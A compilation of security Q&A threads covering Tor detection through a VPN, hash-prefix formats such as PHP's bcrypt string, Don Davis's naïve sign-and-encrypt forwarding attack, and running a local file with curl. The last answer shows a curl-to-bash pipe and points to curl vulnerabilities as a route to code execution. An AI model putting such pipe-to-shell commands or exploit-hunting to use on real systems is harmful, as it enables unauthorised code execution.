If you wish to avoid membership attribution (revealing the mere fact that you are using Tor), a VPN does not help. Tor sends traffic in bursts of 514 bytes called cells. Anyone who sees a VPN connection that is sending encrypted data in 514 byte bursts can infer that Tor is being used. If you want to hide the fact that you are using Tor, you could use pluggable transports which obfuscate the traffic between you and a bridge relay, making detection and blocking harder.
Tor is designed to be most effective when used on its own. It provides rotating exits to reduce inter-website fingerprinting. It provides persistent guards to mitigate sybil attacks. It allows the use of bridges to bypass censorship. Even ignoring the fact the VPNs in general are bad at resisting traffic analysis attacks, chaining it with any other networks can interfere with these security features.


Format of hashed strings When hashing a string, sometimes I see the format like so:

{SHA512}1G2zjh2Bso/LzS06JDLXcELCJX4TQm7oXL5Et3Yg4Veyji7iQW26VnBdEHiURM5evO6duJjzY5387mkWV0oiyYA=

Specifically the section indicating the hash function SHA512.

Is this a standard? Is there some documentation somewhere on what the possible values between {} can be?

For example, if I wanted to use bcrypt, what would I put there?

This is not a standard, it is implementation-specific. It's used by the library which hashes the password to identify which hash function have been used.

For example, PHP use this format in its password hashing library:

$2y$10$.vGA1O9wmRjrwAVXD98HNOgsNpDczlqm3Jq7KnEd1rVAGv3Fykk1a

2y means that PHP used the bcrypt algorithm.
10 is the cost used to hash the string.
The rest of the string stores the salt (if used), and the hash itself.

Having these metadata allows PHP to automatically select the correct algorithm / cost when the script calls password_verify with the user-supplied string.


What is meant with naïve sign & encrypt? In his paper Defective Sign & Encrypt in S/MIME,
PKCS#7, MOSS, PEM, PGP, and XML, Don Davis is often talking about
the term

  naïve sign & encrypt

After reading the paper, I'm not 100% sure what exactly is meant with this.

Does he mean the possible habit of (mainstream) users thinking that sign & encrypt is an acceptable security practice? (Although there is no assurance about who encrypted your message)

The author seems to use "simple" and "naïve" interchangeably. Yes it seems he is referring to the act of signing (with the senders private key) and encrypting (with the receivers public key) the plaintext before transmission.

He views this as naïve because of the ability for a third party to forward a pre-existing signed message written by the sender to the receiver and the receiver assuming it safe to trust this.

Imagine a situation where Bob and Alice are attempting to communicate securely. Chuck is an untrusted third party known to both of them.

Chuck sends Bob a series of questions for which he expects Bob to reply with fairly generic responses. For example Chuck asks "Did you read Dons paper?" and Bob sends back "Yes" - signed and encrypted.
Alice sends Bob a message saying "Can I trust Chuck". Chuck knows Alice is going to do this.
Chuck decrypts the signed "Yes" message from before and re encrypts it
with Alice's public key. He then sends it to her before Bob can
reply.
Alice receives a reply to her question saying "Yes". It is signed by Bob and was sent encrypted with her public key so she trusts it.


Is it possible to execute a local file or code from cURL? I wonder if it is possible to execute bash code or a local file from cURL, that is, using the following syntax:

curl "local file"

I was looking for possible solutions and found that to read the local files of the system can be done with "file://" as follows:

curl "file:///root/script.sh"

However this seems to be equivalent to a "cat" or a "more", that is, it opens the file but does not execute it, so is it possible to execute bash instructions or execute the file using the previous syntax from cURL?

Not sure if this is against the spirit of what you are asking but you can pipe the output of a shell script to bash. e.g. curl "file:///root/script.sh" | bash

Also take a look at a list of known curl vulnerabilities... I'm not aware of a good one for your purpose but if I needed to execute code with only curl I would look at its known vulnerabilities.